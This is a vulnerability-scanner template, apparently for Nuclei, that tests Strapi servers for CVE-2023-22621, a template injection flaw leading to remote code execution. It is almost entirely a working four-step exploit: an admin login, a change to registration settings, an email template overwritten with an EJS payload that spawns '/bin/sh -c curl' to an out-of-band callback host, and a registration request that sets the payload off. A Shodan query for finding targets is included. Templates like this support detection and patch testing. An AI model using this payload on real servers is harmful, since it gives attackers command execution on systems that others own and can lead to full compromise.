id: CVE-2023-22621 info: name: Strapi Versions <=4.5.5 - SSTI to Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: high description: | Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution. impact: | Authenticated attackers with admin panel access can inject malicious template code in email templates that bypasses validation checks, executing arbitrary system commands on the Strapi server and potentially compromising the entire CMS platform. remediation: | Update Strapi to version 4.5.6 or later that implements proper template validation and prevents code execution in email templates. reference: - https://github.com/strapi/strapi/releases - https://github.com/sofianeelhor/CVE-2023-22621-POC - https://github.com/strapi/security-patches - https://github.com/ARPSyndicate/cvemon - https://nvd.nist.gov/vuln/detail/CVE-2023-22621 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2023-22621 cwe-id: CWE-74 epss-score: 0.76825 epss-percentile: 0.99495 cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:* metadata: verified: true max-request: 4 vendor: strapi product: strapi shodan-query: html:"Welcome to your Strapi app" tags: cve,cve2023,strapi,ssti,rce,intrusive,authenticated,vuln,vkev flow: http(1) && http(2) && http(3) && http(4) variables: email: "{{email}}" password: "{{password}}" address: "{{randstr}}@{{rand_base(5)}}.com" http: - raw: - | POST /admin/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"email":"{{email}}","password":"{{password}}"} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "token","isActive")' - 'contains(content_type, "application/json")' condition: and internal: true extractors: - type: json part: body name: token json: - ".data.token" internal: true - raw: - | PUT /users-permissions/advanced HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json {"unique_email":true,"allow_register":true,"email_confirmation":true,"email_reset_password":null,"email_confirmation_redirection":"{{RootURL}}","default_role":"authenticated"} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "ok","true")' - 'contains(content_type, "application/json")' condition: and internal: true - raw: - | PUT /users-permissions/email-templates HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json { "email-templates": { "reset_password": { "display": "Email.template.reset_password", "icon": "sync", "options": { "from": { "name": "Administration Panel", "email": "no-reply@strapi.io" }, "response_email": "", "object": "Reset password", "message": "
We heard that you lost your password. Sorry about that!
\n\nBut dont worry! You can use the following link to reset your password:
\n<%= URL %>?code=<%= TOKEN %>
\n\nThanks.
" } }, "email_confirmation": { "display": "Email.template.email_confirmation", "icon": "check-square", "options": { "from": { "name": "Administration Panel", "email": "no-reply@strapi.io" }, "response_email": "", "object": "Account confirmation", "message": "<%= `${ process.binding('spawn_sync').spawn({\"file\":\"/bin/sh\",\"args\":[\"/bin/sh\",\"-c\",\"curl {{interactsh-url}}\"],\"stdio\":[{\"readable\":1,\"writable\":1,\"type\":\"pipe\"},{\"readable\":1,\"writable\":1,\"type\":\"pipe\"/*<>%=*/}]}).output }` %>\n\n<%= URL %>?confirmation=<%= CODE %>
\n\nThanks.
" } } } } matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "ok","true")' - 'contains(content_type, "application/json")' condition: and internal: true - raw: - | POST /api/auth/local/register HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "email": "{{address}}", "username": "{{randstr_1}}", "password": "{{randstr_2}}" } matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: word part: body words: - "ApplicationError" - type: word part: content_type words: - application/json # digest: 4a0a00473045022100bf77f1979998b4c5022260d415c38b098e1ccda00f83c4a03d72178c837c84740220057d3f50151232c0d810a261da8bb0bb917920919a68dc50afe05a85ba2e0cff:922c64590222798bb761d5b6d8e72950